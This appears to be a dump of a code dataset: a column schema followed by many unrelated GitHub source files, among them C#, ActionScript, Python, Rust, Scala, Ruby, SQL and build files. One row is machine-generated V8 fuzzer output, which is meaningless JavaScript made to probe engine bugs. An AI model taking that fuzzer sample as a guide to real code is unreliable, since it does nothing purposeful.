identifier
stringlengths
42
383
collection
stringclasses
1 value
open_type
stringclasses
1 value
license
stringlengths
0
1.81k
date
float64
1.99k
2.02k
title
stringlengths
0
100
creator
stringlengths
1
39
language
stringclasses
157 values
language_type
stringclasses
2 values
word_count
int64
1
20k
token_count
int64
4
1.32M
text
stringlengths
5
1.53M
__index_level_0__
int64
0
57.5k
https://github.com/novisecoder/nopCommerce---open-s1/blob/master/NopCommerceStore/Administration/Modules/BulkEditCountries.ascx.cs
Github Open Source
Open Source
LicenseRef-scancode-warranty-disclaimer, MIT, MS-PL
2,018
nopCommerce---open-s1
novisecoder
C#
Code
367
1,267
//------------------------------------------------------------------------------ // The contents of this file are subject to the nopCommerce Public License Version 1.0 ("License"); you may not use this file except in compliance with the License. // You may obtain a copy of the License at http://www.nopCommerce.com/Li...
48,612
https://github.com/madeso/bfxr/blob/master/flash_src/com/increpare/bfxr/synthesis/Synthesizer/SfxrParams.as
Github Open Source
Open Source
Zlib, Apache-2.0
null
bfxr
madeso
null
Spoken
2,265
7,926
package com.increpare.bfxr.synthesis.Synthesizer { import com.increpare.bfxr.synthesis.ISerializable; import mx.utils.StringUtil; /** * SfxrParams * * Copyright 2010 Thomas Vian * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance wit...
11,050
https://github.com/Nusantara-ROM/android_platform_external_Camera/blob/master/Android.mk
Github Open Source
Open Source
MIT
2,022
android_platform_external_Camera
Nusantara-ROM
Makefile
Code
26
114
LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_MODULE := Camera LOCAL_MODULE_CLASS := APPS LOCAL_PRODUCT_MODULE := true LOCAL_CERTIFICATE := PRESIGNED LOCAL_SRC_FILES := prebuilt/Camera.apk LOCAL_OPTIONAL_USES_LIBRARIES := androidx.camera.extensions.impl include $(BUILD_PREBUILT)
21,920
https://github.com/pablozz/politik/blob/master/front/app/components/elements/Button/Button.tsx
Github Open Source
Open Source
MIT
null
politik
pablozz
TypeScript
Code
139
501
import { ReactNode } from 'react'; import cx from 'classnames'; import Spin from '@element/Spin'; interface IButton extends React.HTMLAttributes<HTMLButtonElement> { icon?: ReactNode; variant?: 'contained' | 'outlined'; type?: 'submit' | 'button'; form?: string; disabled?: boolean; loading?: boolean; } c...
44,654
https://github.com/DYJ-Data-GitHub/DjangoRestTpp/blob/master/Viewer/controller.py
Github Open Source
Open Source
Apache-2.0
2,019
DjangoRestTpp
DYJ-Data-GitHub
Python
Code
79
538
import datetime from Cinema.models import PaiDang, ORDERED_PAYED, ORDERED_NOT_PAY from Viewer.models import ViewerOrder def get_valid_seats(paidang_id, order_id=0): paidang = PaiDang.objects.get(pk=paidang_id) h_seats = paidang.p_hall.h_seats # orders_payed = paidang.viewerorder_set.filter(v_status=ORD...
13,950
https://github.com/likr/egraph-rs/blob/master/crates/egraph/src/layout/force_directed/force/position_force.rs
Github Open Source
Open Source
MIT
2,021
egraph-rs
likr
Rust
Code
219
686
use crate::graph::{Graph, NodeIndex}; use crate::layout::force_directed::force::{Force, ForceContext, Point}; use std::marker::PhantomData; pub struct PositionForceContext { strength: Vec<f32>, x: Vec<Option<f32>>, y: Vec<Option<f32>>, } impl PositionForceContext { pub fn new( strength: Vec<f3...
53,518
https://github.com/truerss/truerss/blob/master/src/test/scala/net/truerss/services/TickerTest.scala
Github Open Source
Open Source
MIT
2,022
truerss
truerss
Scala
Code
140
480
package net.truerss.services import org.specs2.mutable.Specification import truerss.services.actors.sync.Ticker class TickerTest extends Specification { private val z = new Ticker[Int](3) "Ticket" should { "flow" in { z.currentProgress ==== 0 z.queueLength ==== 0 z.addOne(1, 1) z.ad...
28,646
https://github.com/Flameeyes/glucometerutils/blob/master/glucometerutils/drivers/fsprecisionneo.py
Github Open Source
Open Source
MIT
2,023
glucometerutils
Flameeyes
Python
Code
381
1,111
# -*- coding: utf-8 -*- # # SPDX-FileCopyrightText: © 2017 The glucometerutils Authors # SPDX-License-Identifier: MIT """Driver for FreeStyle Precision Neo devices. This driver may also work with FreeStyle Optium Neo devices, but it is currently untested. Supported features: - get readings; - get and set date...
3,045
https://github.com/Go0zx/NyuziProcessor/blob/master/tests/fpga/blinky/blinky.S
Github Open Source
Open Source
Apache-2.0
2,019
NyuziProcessor
Go0zx
null
Spoken
173
340
# # Copyright 2011-2015 Jeff Bush # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writ...
17,477
https://github.com/MuggleWei/muggleCC/blob/master/benchmark/thread_trans/benchmark_array_blocking_queue.c
Github Open Source
Open Source
MIT
2,020
muggleCC
MuggleWei
C
Code
161
694
/* * author: muggle wei <mugglewei@gmail.com> * * Use of this source code is governed by the MIT license that can be * found in the LICENSE file. */ #include "benchmark_array_blocking_queue.h" int array_blocking_queue_write(void *trans_obj, void *data) { muggle_array_blocking_queue_t *queue = (muggle_array_bloc...
39,222
https://github.com/Athari/CsConsoleFormat/blob/master/Alba.CsConsoleFormat.Sample.ProcessManager.clp22/Properties/AssemblyInfo.cs
Github Open Source
Open Source
Apache-2.0, MIT
2,022
CsConsoleFormat
Athari
C#
Code
14
86
using System; using System.Runtime.InteropServices; using JetBrains.Annotations; [assembly: ComVisible(false)] [assembly: CLSCompliant(true)] [assembly: Guid("99a14c98-3634-47fc-8919-975fc3757b57")] [assembly: ExcludeFromCodeCoverageAssembly]
56,469
https://github.com/Cledinor17/SYGESPAH/blob/master/application/modules/admin/models/Chambre_model.php
Github Open Source
Open Source
MIT
null
SYGESPAH
Cledinor17
PHP
Code
121
668
<?php Class chambre_model extends CI_Model { var $CI; function __construct() { parent::__construct(); $this->CI =& get_instance(); $this->CI->load->database(); $this->CI->load->helper('url'); } function get_etat_ou_dept() { $this->db->select('COUNT(nochambre)...
52,418
https://github.com/ariatemplates/ariatemplates/blob/master/test/nodeTestResources/testProject/src/app/css/TextInputSkin.js
Github Open Source
Open Source
LicenseRef-scancode-unknown-license-reference, Apache-2.0
2,021
ariatemplates
ariatemplates
JavaScript
Code
224
553
/* * Copyright 2012 Amadeus s.a.s. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to i...
24,079
https://github.com/lishulongVI/leetcode/blob/master/csharp/687.Longest Univalue Path(最长同值路径).sln
Github Open Source
Open Source
MIT
2,018
leetcode
lishulongVI
null
Spoken
261
1,032
/* <p>Given a binary tree, find the length of the longest path where each node in the path has the same value. This path may or may not pass through the root.</p> <p><b>Note:</b> The length of path between two nodes is represented by the number of edges between them.</p> <p> <b>Example 1:</b> </p> <p> Input: <pre> ...
56,444
https://github.com/jotak/game-of-stacks/blob/master/libs/common/src/main/kotlin/demo/gos/common/maths/Segment.java
Github Open Source
Open Source
Apache-2.0
2,020
game-of-stacks
jotak
Java
Code
332
723
/* * Copyright 2018 Red Hat, Inc. and/or its affiliates * and other contributors as indicated by the @author tags. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.ap...
34,337
https://github.com/Game-X-Coin/wallet/blob/master/src/pages/DgamePage/index.js
Github Open Source
Open Source
MIT
2,019
wallet
Game-X-Coin
JavaScript
Code
112
470
import React, { Component } from 'react'; import { games } from '@/constants/dgame'; import { Page } from '@/components/Layout'; import './style.scss'; class DgamePage extends Component { render() { const { GXCQuest } = games; return ( <div className="dgame-page"> <Page.Header image={GXCQue...
30,597
https://github.com/Darkxell/Gem-and-Roll/blob/master/app/src/main/java/com/darkxell/gemandroll/gamestates/statesutility/TextInputState.java
Github Open Source
Open Source
Apache-2.0
2,017
Gem-and-Roll
Darkxell
Java
Code
266
916
package com.darkxell.gemandroll.gamestates.statesutility; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.graphics.Canvas; import android.graphics.Rect; import android.view.KeyEvent; import com.darkxell.gemandroll.MainActivity; import com.darkxell.gemandroll.R; import com.darkxel...
27,896
https://github.com/google-code-export/django-hotclub/blob/master/libs/external_libs/docutils-0.4/test/test_transforms/test_expose_internals.py
Github Open Source
Open Source
MIT
2,016
django-hotclub
google-code-export
Python
Code
115
327
#! /usr/bin/env python # Author: Felix Wiemann # Contact: Felix_Wiemann@ososo.de # Revision: $Revision: 4132 $ # Date: $Date: 2005-12-03 03:13:12 +0100 (Sat, 03 Dec 2005) $ # Copyright: This module has been placed in the public domain. """ Test module for universal.ExposeInternals transform. """ from __init__ impor...
36,871
https://github.com/KazuichiroTaira/GIS/blob/master/intro_spatial_methods/Practice/lin_convolution.py
Github Open Source
Open Source
MIT
null
GIS
KazuichiroTaira
Python
Code
27
89
import numpy as np def main(): h = [1, 2, -1] f = [4, 1, 2, 5] linear_convolution = np.convolve(h, f, mode="full") print(linear_convolution) main() """ 出来たら嬉しい!! """
10,103
https://github.com/hirosassa/bolt-python/blob/master/slack_bolt/workflows/step/utilities/configure.py
Github Open Source
Open Source
MIT
2,022
bolt-python
hirosassa
Python
Code
121
423
from typing import Optional, Union, Sequence from slack_sdk.web import WebClient from slack_sdk.models.blocks import Block class Configure: """`configure()` utility to send the modal view in Workflow Builder. def edit(ack, step, configure): ack() blocks = [ { ...
33,905
https://github.com/wangjia15/moviesys/blob/master/src/main/java/com/wjapp/beans/Seat.java
Github Open Source
Open Source
Apache-2.0
null
moviesys
wangjia15
Java
Code
205
627
package com.wjapp.beans; // Generated 2017-7-14 15:45:30 by Hibernate Tools 5.2.3.Final import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.FetchType; import javax.persistence.GeneratedValue; import static javax.persistence.GenerationType.IDENTITY; import javax.persistence.Id; im...
49,997
https://github.com/josemarluedke/mdast-util-to-hast/blob/master/test/footnote-definition.js
Github Open Source
Open Source
MIT
2,020
mdast-util-to-hast
josemarluedke
JavaScript
Code
158
599
'use strict' var test = require('tape') var u = require('unist-builder') var to = require('..') test('FootnoteDefinition', function (t) { t.deepEqual( to( u('root', [ u('footnoteDefinition', {identifier: 'zulu'}, [ u('paragraph', [u('text', 'alpha')]) ]) ]) ), u('ro...
2,491
https://github.com/arunbv123/Kiwi/blob/master/src/kiwi/vesPVWebClient.h
Github Open Source
Open Source
Apache-2.0
null
Kiwi
arunbv123
C
Code
237
765
/*======================================================================== VES --- VTK OpenGL ES Rendering Toolkit http://www.kitware.com/ves Copyright 2011 Kitware, Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. Y...
29,906
https://github.com/tamuri/swmutsel/blob/master/src/java/swmutsel/model/parameters/Omega.java
Github Open Source
Open Source
Apache-2.0
2,019
swmutsel
tamuri
Java
Code
103
329
package swmutsel.model.parameters; /** * Author: Asif Tamuri (tamuri@ebi.ac.uk) * Date: 18/10/2013 11:16 */ public class Omega extends Parameter { private static final long serialVersionUID = 8875392200058405668L; private double omega; public Omega() { setArgument("-omega"); } public O...
53,562
https://github.com/deviousdodo/RPC/blob/master/Filter/Int.php
Github Open Source
Open Source
BSD-3-Clause
2,010
RPC
deviousdodo
PHP
Code
68
162
<?php /** * Copyright (c) 2007, Gheorghe Constantin-Adrian. All rights reserved. * * Code licensed under the BSD License: * http://adrian.lastdot.org/license.txt */ /** * Coerces the given variable to an integer * * @package Filter */ class RPC_Filter_Int implements RPC_Filter { /** * Returns (int) va...
21,122
https://github.com/indahsyahnan/project-laravel/blob/master/resources/views/tanya/welcome.blade.php
Github Open Source
Open Source
MIT
null
project-laravel
indahsyahnan
PHP
Code
102
465
@extends('adminlte.master') @section('title') Welcome To Stack UnderFlow @endsection @section('content') <!-- <div class="card card-primary card-outline" style="margin-top: 20px; margin-left: 15px; margin-right: 15px"> <div class="card-header text-center"> <h5 class="card-title m-0">Apakah Anda Memiliki P...
54,363
https://github.com/DecentralizedDerivatives/membership/blob/master/src/components/informationBox.js
Github Open Source
Open Source
MIT
null
membership
DecentralizedDerivatives
JavaScript
Code
240
818
import React, { Component } from 'react' import axios from 'axios' import web3 from '../../utilities/web3Provider.js' import membershipAbi from '../../utilities/membershipAbi.js' import InformationForm from './informationForm.js' import ThankYouModal from './ThankYouModal' class InformationBox extends Component { co...
10,886
https://github.com/wish-wish/skyheroes/blob/master/pratice/godot/scene/resources/environment.cpp
Github Open Source
Open Source
MIT
null
skyheroes
wish-wish
C++
Code
1,382
17,897
/*************************************************************************/ /* environment.cpp */ /*************************************************************************/ /* This file is part of: */ /* ...
35,362
https://github.com/C2JAM/Tming/blob/master/src/pages/WordCloud/index.js
Github Open Source
Open Source
MIT
2,020
Tming
C2JAM
JavaScript
Code
294
1,116
import React from "react"; import styled from "styled-components"; import Cookies from "react-cookies"; import { UncontrolledAlert } from "reactstrap"; import WordCloudForm from "./wordcloudform"; import { LangProvider } from "../../components/Languages/languages"; import SlotView from "./slotview"; import SweetAlert ...
27,893
https://github.com/pascinigui/locadora-database/blob/master/src/main/java/com/mycompany/conexao/EntidadeBase.java
Github Open Source
Open Source
Apache-2.0
null
locadora-database
pascinigui
Java
Code
10
33
package com.mycompany.conexao; public interface EntidadeBase { public Integer getId(); }
56,122
https://github.com/geant-multicloud/MCMS-homeport/blob/master/src/table/index.ts
Github Open Source
Open Source
MIT
2,021
MCMS-homeport
geant-multicloud
TypeScript
Code
20
34
export { default as Table } from './Table'; export { connectTable } from './utils'; export { createFetcher } from './api';
26,613
https://github.com/jancycj/123abcdolorpro/blob/master/resources/views/v1/colorpro/company/create_order1.blade.php
Github Open Source
Open Source
MIT
null
123abcdolorpro
jancycj
PHP
Code
3,381
15,395
@extends('layouts.colorpro.app') @section('style') <style type="text/css"> .fade:not(.show) { opacity: 5; } .tab-content { margin-bottom: 0 !important; } </style> <style> .order-b { right: 4% !important; position: absolute !important; } .order-m { ...
43,485
https://github.com/gfoidl/grpc-dotnet/blob/master/testassets/LinkerTestsClient/Program.cs
Github Open Source
Open Source
Apache-2.0
2,022
grpc-dotnet
gfoidl
C#
Code
236
557
#region Copyright notice and license // Copyright 2019 The gRPC Authors // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless ...
7,874
https://github.com/ananna-jhorotek/rialto/blob/master/application/views/RequestProvider/new_request_details.php
Github Open Source
Open Source
MIT
2,018
rialto
ananna-jhorotek
PHP
Code
518
2,858
<style type="text/css"> #wait { padding: 20px; background: rgb(34,34,34); /* for IE */ background: rgba(34,34,34,0.75); } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <div id="wait" style="display:none; width:100%; height:100%; margin-top: 85px;" align="...
4,927
https://github.com/HarryStevens/d3-regression/blob/master/src/exponential.js
Github Open Source
Open Source
BSD-3-Clause
2,023
d3-regression
HarryStevens
JavaScript
Code
246
551
import { determination } from "./utils/determination"; import { interpose } from "./utils/interpose"; import { ols } from "./utils/ols"; import { visitPoints } from "./utils/points"; export default function() { let x = d => d[0], y = d => d[1], domain; function exponential(data){ let n = 0, ...
18,730
https://github.com/doctools/doctools/blob/master/infer/models/objc/src/Makefile
Github Open Source
Open Source
BSD-3-Clause
2,016
doctools
doctools
Makefile
Code
47
255
M_SOURCES=$(shell find . -name "*.m") C_SOURCES=$(shell find . -name "*.c") OBJECTS=$(M_SOURCES:.m=.o) $(C_SOURCES:.c=.o) CC=clang XCODE_PATH=$(shell xcode-select -p) IPHONE_SIMULATOR_PATH=$(XCODE_PATH)/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator.sdk CFLAGS=--target=x86_64-apple-darwin14 -x object...
9,776
https://github.com/yuzuki-chi/clustertest/blob/master/provisioners/proxmoxve/scheduler_test.go
Github Open Source
Open Source
MIT
null
clustertest
yuzuki-chi
Go
Code
535
1,976
package proxmoxve import ( "github.com/stretchr/testify/assert" . "github.com/yuuki0xff/clustertest/provisioners/proxmoxve/api" "testing" ) func TestScheduler_UpdateNodes(t *testing.T) { t.Run("should_keep_reserved_parameters_of_exists_nodes", func(t *testing.T) { initNodes := map[NodeID]*Node{ NodeID("1"): ...
15,939
https://github.com/patil215/v8/blob/master/fuzzer_output/interesting/sample_1554099241698.js
Github Open Source
Open Source
BSD-3-Clause
null
v8
patil215
JavaScript
Code
547
1,796
function main() { const v1 = {exec:9007199254740991}; const v4 = [13.37,13.37,13.37,13.37]; function v5(v6,v7,v8,v9) { v9[v4] = v9; const v17 = [13.37,13.37,13.37,13.37]; const v19 = [1337]; const v20 = [v19]; const v21 = {max:Function,setPrototypeOf:10}; const v22 = {exec:v19}; let v23 = "u...
46,248
https://github.com/t2hieu91/MealsApp/blob/master/lib/main.dart
Github Open Source
Open Source
MIT
2,021
MealsApp
t2hieu91
Dart
Code
143
536
import 'package:flutter/material.dart'; import './screens/meal_detail_screen.dart'; import './screens/category_meals_screen.dart'; import './screens/categories_screen.dart'; void main() => runApp(MyApp()); class MyApp extends StatelessWidget { @override Widget build(BuildContext context) { return MaterialApp...
39,381
https://github.com/alisw/DPMJET/blob/master/src/pythia/pyxtee.f
Github Open Source
Open Source
BSD-3-Clause, LicenseRef-scancode-unknown-license-reference
2,021
DPMJET
alisw
null
Spoken
311
3,064
cc ------------ dpmjet3.4 - authors: S.Roesler, R.Engel, J.Ranft ------- cc -------- phojet1.12-40 - authors: S.Roesler, R.Engel, J.Ranft ------- cc - oct'13 ------- cc ----------- pythia-6.4 - authors: Torbjorn Sjostrand, Lund'10 ------- cc -------------------------...
45,694
https://github.com/natario1/CameraView/blob/master/settings.gradle.kts
Github Open Source
Open Source
MIT
2,023
CameraView
natario1
Kotlin
Code
2
16
include(":cameraview") include(":demo")
764
https://github.com/EBI-Metabolights/MtblsWS-Py/blob/master/app/ws/ftp_filemanager_testing.py
Github Open Source
Open Source
Apache-2.0
2,023
MtblsWS-Py
EBI-Metabolights
Python
Code
948
3,028
# EMBL-EBI MetaboLights - https://www.ebi.ac.uk/metabolights # Metabolomics team # # European Bioinformatics Institute (EMBL-EBI), European Molecular Biology Laboratory, Wellcome Genome Campus, Hinxton, Cambridge CB10 1SD, United Kingdom # # Last modified: 2022-Oct-25 # Modified by: Felix Amaladoss # # Copyrigh...
41,748
https://github.com/travis-ci/travis-api/blob/master/spec/v3/services/plans/all_spec.rb
Github Open Source
Open Source
MIT
2,023
travis-api
travis-ci
Ruby
Code
369
1,414
describe Travis::API::V3::Services::Plans::All, set_app: true, billing_spec_helper: true do let(:parsed_body) { JSON.load(last_response.body) } let(:billing_url) { 'http://billingfake.travis-ci.com' } let(:billing_auth_key) { 'secret' } let(:organization_id) { rand(999) } before do Travis.config.billing....
53,283
https://github.com/kartven2/GCP-Play/blob/master/cloud-spanner/university/src/main/java/com/alpha/university/UniversityApplication.java
Github Open Source
Open Source
Apache-2.0
null
GCP-Play
kartven2
Java
Code
468
1,481
/*- Copyright [2020] Karthik.V Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software di...
30,758
https://github.com/austinvernsonger/ProjectPlanningTool/blob/master/src/TeamBins6/Views/Settings/Partials/Password.cshtml
Github Open Source
Open Source
Apache-2.0
2,016
ProjectPlanningTool
austinvernsonger
HTML+Razor
Code
56
309
@model TeamBins.Common.ViewModels.ChangePasswordVM @{ ViewBag.Title = "EditProfile"; } <div> <h3>Update your password</h3> <div class="tab-content"> <div class="tab-pane active"> @Html.ValidationSummary() @using (Html.BeginForm()) { ...
45,190
https://github.com/AncientFairy/java-core/blob/master/day13/src/com/github/lambda/demo3/TestClinit2.java
Github Open Source
Open Source
Apache-2.0
null
java-core
AncientFairy
Java
Code
84
395
package com.github.lambda.demo3; public class TestClinit2 { public static void main(String[] args) { System.out.println(D.NUM);// D类不会初始化,因为NUM是final的 System.out.println(F.num); F.test();// F类不会初始化,E类会初始化,因为num和test()是在E类中声明的 // G类不会初始化,此时还没有正式用的G类 G[] arr = new G[5];// 没有...
1,431
https://github.com/divyanshu-rawat/titus-control-plane/blob/master/titus-api/src/main/java/com/netflix/titus/api/store/v2/ApplicationSlaMixIn.java
Github Open Source
Open Source
Apache-2.0
2,020
titus-control-plane
divyanshu-rawat
Java
Code
152
354
/* * Copyright 2019 Netflix, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed t...
38,036
https://github.com/studzien/otp/blob/master/lib/mnesia/vsn.mk
Github Open Source
Open Source
Apache-2.0
2,017
otp
studzien
Makefile
Code
3
14
MNESIA_VSN = 4.14.2
37,707
https://github.com/ak1394/react-native-tts/blob/master/example/App.js
Github Open Source
Open Source
MIT
2,021
react-native-tts
ak1394
JavaScript
Code
479
1,763
/** * @flow */ import React, { Component } from "react"; import { Platform, StyleSheet, Text, View, Button, FlatList, Slider, TextInput, Keyboard } from "react-native"; import Tts from "react-native-tts"; type Props = {}; export default class App extends Component<Props> { state = { voices: ...
37,829
https://github.com/mathcoder23/timeline-mq/blob/master/timeline-core/src/main/java/com/pettyfox/timeline/strategy/TimelineMqCursorImpl.java
Github Open Source
Open Source
Apache-2.0
2,022
timeline-mq
mathcoder23
Java
Code
451
2,142
package com.pettyfox.timeline.strategy; import com.google.common.cache.*; import com.google.common.util.concurrent.AtomicLongMap; import com.google.common.util.concurrent.ThreadFactoryBuilder; import com.pettyfox.timeline.core.*; import lombok.extern.slf4j.Slf4j; import com.pettyfox.timeline.model.TimelineHead; impor...
23,352
https://github.com/jeffslofish/open-source-help-wanted/blob/master/src/context/github/githubReducer.ts
Github Open Source
Open Source
MIT
2,022
open-source-help-wanted
jeffslofish
TypeScript
Code
118
367
import { IIssue } from '../../@types/IIssue'; import { LOADING_ERROR, SEARCH_ISSUES, SET_LOADING } from '../types'; type State = { issues: IIssue[]; totalCount: number; page: number; resultsPerPage: number; loading: boolean; errorMessage: string; }; type Action = | { type: 'SEARCH_ISSUES'; p...
56,596
https://github.com/atomicptr/LoginWars2/blob/master/app/browser/js/directives/link-hack.js
Github Open Source
Open Source
MIT
2,016
LoginWars2
atomicptr
JavaScript
Code
29
93
// override link click behaviour app.directive("a", function() { return { restrict: "E", link: function(scope, elem, attrs) { elem.on("click", function(e){ e.preventDefault(); var url = attrs.href; openUrl(url); }); }...
45,131
https://github.com/AntonIshchenko/epam-spring-testing/blob/master/src/main/java/com/epam/community/z/spring/testing/comment/CommentController.java
Github Open Source
Open Source
Apache-2.0
2,020
epam-spring-testing
AntonIshchenko
Java
Code
48
257
package com.epam.community.z.spring.testing.comment; import com.epam.community.z.spring.testing.post.Comment; import com.epam.community.z.spring.testing.post.Post; import com.epam.community.z.spring.testing.post.PostService; import lombok.RequiredArgsConstructor; import org.springframework.web.bind.annotation.PathVari...
27,373
https://github.com/gangstanthony/PowerShell/blob/master/convert file to bits.ps1
Github Open Source
Open Source
MIT
2,023
PowerShell
gangstanthony
PowerShell
Code
52
171
function ConvertTo-Bytes { param ( [string]$file ) if (!$file -or !(Test-Path $file)) { throw "file not found: '$file'" } [convert]::ToBase64String((Get-Content $file -Encoding Byte)) } function ConvertFrom-Bytes { param ( [string]$bytes, [string]$savepath ...
11,399
https://github.com/VMatthijs/Stanc-OCaml/blob/master/src/stan/examples-good/validate_set_double_locscale_good.stan
Github Open Source
Open Source
BSD-3-Clause
2,018
Stanc-OCaml
VMatthijs
null
Spoken
42
158
transformed data { real<location=2> a = 3; } parameters { matrix<location=-412,scale=3>[3,1] theta[2]; real<location=1,scale=5> x; real<location=42> w; vector<scale=242>[3] ww; row_vector<scale=242>[3] www; } transformed parameters { real<location=23> y = x^2; } model { y ~ normal(0,1); } generated qua...
39,529
https://github.com/goaww/go-patterns/blob/master/creational/singleton/singleton_test.go
Github Open Source
Open Source
MIT
null
go-patterns
goaww
Go
Code
17
69
package singleton import ( "github.com/stretchr/testify/assert" "testing" ) func TestGetSingleton(t *testing.T) { instance := GetInstance() assert.NotNil(t, instance) }
24,743
https://github.com/wwjiang007/dal/blob/master/dal-dao-gen/src/main/webapp/static/js/groupmanage.js
Github Open Source
Open Source
Apache-2.0
2,022
dal
wwjiang007
JavaScript
Code
564
2,067
(function (window, undefined) { var Render = function () { }; var refreshGroup = function () { w2ui['grid'].clear(); cblock($("body")); $.get("/rest/group/get", {rand: Math.random()}, function (data) { var allGroup = []; $.each(data, function (index, value) {...
34,004
https://github.com/rcastrom/sii/blob/master/app/Http/Controllers/PDF/ConstanciaPDFController.php
Github Open Source
Open Source
MIT
null
sii
rcastrom
PHP
Code
4,255
19,261
<?php namespace App\Http\Controllers\PDF; use App\Http\Controllers\Controller; use App\Models\Alumno; use App\Models\Horario; use App\Models\Organigrama; use App\Models\PeriodoEscolar; use App\Models\FolioConstancia; use App\Models\Jefe; use App\Models\HistoriaAlumno; use App\Models\SeleccionMateria; use App\Http\Con...
48,722
https://github.com/arcilli/akregator/blob/master/configuration/akregator_config_plugins.desktop
Github Open Source
Open Source
BSD-3-Clause
2,021
akregator
arcilli
null
Spoken
380
2,648
[Desktop Entry] Icon=preferences-plugin Type=Service X-KDE-ServiceTypes=KCModule X-KDE-Library=pim/kcms/akregator/akregator_config_plugins X-KDE-ParentApp=akregator X-KDE-ParentComponents=akregator,kontact_akregatorplugin X-KDE-CfgDlgHierarchy=Akregator X-KDE-Weight=600 Name=Plugins Name[af]=Inprop modules Name[ar]=ا...
21,128
https://github.com/284403275/eam2019/blob/master/SQL/Classifications.sql
Github Open Source
Open Source
MIT, LicenseRef-scancode-warranty-disclaimer
2,019
eam2019
284403275
SQL
Code
86
297
SELECT CABN.ATINN AS "primary" ,KSML.IMERK AS "key" ,KLAH.CLASS AS "classification" ,CABNT.ATBEZ AS "description" ,CAWN.ATWRT AS "options" ,CABN.ATFOR AS "type" ,CABN.ANZST AS "limit" ,CABN.ATEIN AS "single" ,CABN.ATERF AS "required" ,CABN.ATSCH AS "template" ,CAWN.ATSTD AS "...
35,721
https://github.com/trac3y/trac3y.github.io/blob/master/app/scripts/main.js
Github Open Source
Open Source
MIT
2,015
trac3y.github.io
trac3y
JavaScript
Code
67
287
//to collapse the navbar on scroll $(window).scroll(function() { 'use strict'; // fade in words if ($('.navbar').offset().top > 30) { $('#fade').fadeIn(3000); } // make nav sticky if ($('.navbar').offset().top > 50) { $('.navbar-fixed-top').addClass('top-nav-collapse'); $('.navbar').addClass('sticky'); } ...
13,817
https://github.com/cloneforyou/content-review-lookup/blob/master/dist/yazzytest/Wikia.js
Github Open Source
Open Source
CC-BY-4.0
2,021
content-review-lookup
cloneforyou
JavaScript
Code
49
247
importArticles({ type: 'script', articles: [ 'u:dev:AjaxBatchDelete/code.js', 'u:dev:DupImageList/code.js', 'u:dev:SocialIcons/code.js', 'MediaWiki:Wikia.js/inputUserInformation.js', 'u:halo:MediaWiki:Wikia.js/Slider.js' ] }); var SocialMediaButtons = { position:...
10,913
https://github.com/tied/DevArtifacts/blob/master/menu-master/menu55/sass/style.scss
Github Open Source
Open Source
MIT
2,018
DevArtifacts
tied
SCSS
Code
1,472
3,958
@import url("https://fonts.googleapis.com/css?family=Muli:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i"); .a-left { text-align: left; } .a-right { text-align: right; } .a-center { text-align: center; } /** * Set up a decent box model on the root element */ html { box-sizing: border-box; }...
31,186
https://github.com/LiborCz/NoteKeeper/blob/master/client/src/components/TestBE.jsx
Github Open Source
Open Source
MIT
null
NoteKeeper
LiborCz
null
Spoken
63
208
import React, {useState} from "react"; import axios from 'axios'; function TestBE() { const[msg, setMsg] = useState(""); var onSubmit = (event) => { event.preventDefault(); axios.post( '/api/user/test', { msg }) .then( response => { console.log(response) }) .catch((err) => { console.l...
15,129
https://github.com/anxsaiyuki/roywork/blob/master/app/assets/javascripts/js/main.js
Github Open Source
Open Source
MIT
2,014
roywork
anxsaiyuki
JavaScript
Code
140
602
require.config({ baseUrl: '/assets/js/lib', paths: { jquery: 'jquery-1.11.0.min', banner: 'widget/banner', menu: 'widget/menu', sideMenu: 'widget/sideMenu', product: 'widget/product', footer: 'widget/footer', index_banner: 'widget/index_banner', top_bar: 'widget/top_bar', item: 'widget/i...
54,881
https://github.com/dc-Ragnarok/Bifrost/blob/master/tests/RequestContentTest.php
Github Open Source
Open Source
MIT
2,023
Bifrost
dc-Ragnarok
PHP
Code
87
415
<?php declare(strict_types=1); namespace Tests\Ragnarok\Bifrost; use Mockery; use PHPUnit\Framework\TestCase; use Ragnarok\Bifrost\Multipart; use Ragnarok\Bifrost\RequestContent; class RequestContentTest extends TestCase { public function testFromNull() { $requestContent = RequestContent::from(null)...
7,990
https://github.com/jotingen/fpga-LC3/blob/master/src/main/scala/mem/mem_top.scala
Github Open Source
Open Source
MIT
2,020
fpga-LC3
jotingen
Scala
Code
1,057
3,419
package mem import wishbone._ import spinal.core._ import spinal.lib._ case class riscv_config( busWishBoneConfig: WishBoneConfig ) class mem_top extends Component { val config = riscv_config( busWishBoneConfig = WishBoneConfig( adrWidth = 32, selWidth = 4, dataWidth = 32, tgaWid...
21,707
https://github.com/pedrofrazao/Dancer2-Plugin-REST/blob/master/t/gh14-deserialized.t
Github Open Source
Open Source
Artistic-1.0
2,021
Dancer2-Plugin-REST
pedrofrazao
Perl
Code
116
399
use strict; use warnings; use Test::More; use Plack::Test; use HTTP::Request::Common; use JSON; { package App; use Dancer2; set serializer => 'JSON'; post '/namecheck.:format' => sub { my $post_params = params('body'); return $post_params; }; } { package RESTApp; use Dan...
11,761
https://github.com/bxie/ai2_user_trajectory/blob/master/data/small_types.pkl
